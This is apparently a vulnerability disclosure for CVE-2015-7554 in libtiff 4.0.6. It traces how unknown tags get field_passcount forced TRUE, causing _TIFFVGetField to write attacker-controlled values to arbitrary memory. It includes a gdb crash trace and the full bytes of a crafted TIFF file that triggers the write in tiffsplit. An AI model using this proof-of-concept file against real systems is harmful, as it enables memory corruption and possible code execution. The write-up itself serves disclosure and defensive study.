CVE-2015-7554: libtiff: invalid write
Dec 26, 2015_TIFFVGetField()
in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.
Each tag has a field_passcount
variable in their TIFFField struct:
tiff-4.0.6/libtiff/tif_dir.h #276..289:
struct _TIFFField {
uint32 field_tag; /* field's tag */
short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */
short field_writecount; /* write count/TIFF_VARIABLE */
TIFFDataType field_type; /* type of associated data */
uint32 reserved; /* reserved for future extension */
TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */
TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */
unsigned short field_bit; /* bit in fieldsset bit vector */
unsigned char field_oktochange; /* if true, can change while writing */
unsigned char field_passcount; /* if true, pass dir count on set */
char* field_name; /* ASCII name */
TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field definition array */
};
For example:
tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
static const TIFFField fax3Fields[] = {
{ TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
};
However, field_passcount
is always assigned TRUE if the tag is
processed by _TIFFCreateAnonField()
. This happens on unsuccessful
invocations of TIFFReadDirectoryFindFieldInfo()
:
tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
int
TIFFReadDirectory(TIFF* tif)
{
[...]
TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
if (fii == FAILED_FII)
{
TIFFWarningExt(tif->tif_clientdata, module,
"Unknown field with tag %d (0x%x) encountered",
dp->tdir_tag,dp->tdir_tag);
/* the following knowingly leaks the
anonymous field structure */
if (!_TIFFMergeFields(tif,
_TIFFCreateAnonField(tif,
dp->tdir_tag,
(TIFFDataType) dp->tdir_type),
1)) {
[...]
}
tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
TIFFField*
_TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
{
[...]
fld->field_bit = FIELD_CUSTOM;
[...]
fld->field_passcount = TRUE;
[...]
}
If the field for a 1-count extension tag whose field_passcount
has
been overridden is later read by _TIFFVGetField()
, this happens:
tiff-4.0.6/libtiff/tif_dir.c #823..1145:
static int
_TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
{
[...]
uint32 standard_tag = tag;
[...]
if (fip->field_bit == FIELD_CUSTOM) {
standard_tag = 0;
}
switch (standard_tag) {
[...]
default:
{
[...]
for (i = 0; i < td->td_customValueCount; i++) {
[...]
if (fip->field_passcount) {
if (fip->field_readcount == TIFF_VARIABLE2)
*va_arg(ap, uint32*) = (uint32)tv->count;
else /* Assume TIFF_VARIABLE */
*va_arg(ap, uint16*) = (uint16)tv->count;
*va_arg(ap, void **) = tv->value;
ret_val = 1;
}
[...]
}
}
}
[...]
}
With an invocation of TIFFGetField()
such as:
TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
for a TIFFTAG_GROUP3OPTIONS specified as:
0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
tag type count offset/value
the count is written to dst
, whereas 0x41414141 is written to
invalid/arbitrary memory.
Using the included tiffsplit utility as an example:
tiff-4.0.6/tools/tiffsplit.c #157..228:
static int
tiffcp(TIFF* in, TIFF* out)
{
[...]
CopyField(TIFFTAG_YRESOLUTION, floatv);
CopyField(TIFFTAG_GROUP3OPTIONS, longv);
[...]
}
$ gdb -q --args tiffsplit tag.tiff
Reading symbols from tiffsplit...done.
(gdb) r
TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
Program received signal SIGSEGV, Segmentation fault.
0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at tif_dir.c:1056
1056 *va_arg(ap, void **) = tv->value;
(gdb) x/i $eip
=> 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax)
(gdb) x/x $edx
0x804d670: 0x41414141
(gdb) x/x $eax
0x41410000: Cannot access memory at address 0x41410000
(gdb)
tag.tiff:
unsigned char tiff[] = {
/* little-endian */
0x49, 0x49,
/* version */
0x2a, 0x00,
/* tif->tif_diroff */
0x09, 0x00, 0x00, 0x00,
0x00,
/* tag count */
0x07, 0x00,
/* tag | type | count | offset/value */
/* TIFFTAG_IMAGEWIDTH */
0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
/* TIFFTAG_IMAGELENGTH */
0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
/* TIFFTAG_BITSPERSAMPLE */
0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
/* TIFFTAG_STRIPOFFSETS */
0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
/* TIFFTAG_STRIPBYTECOUNTS */
0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
/* TIFFTAG_YRESOLUTION */
0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
/* TIFFTAG_GROUP3OPTIONS */
0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
/* tif->tif_nextdiroff */
0x00, 0x00, 0x00, 0x00,
/* bits per sample */
0x08, 0x00,
0x08, 0x00,
0x08, 0x00,
};
This issue has been assigned CVE-2015-7554 and it has yet to be fixed.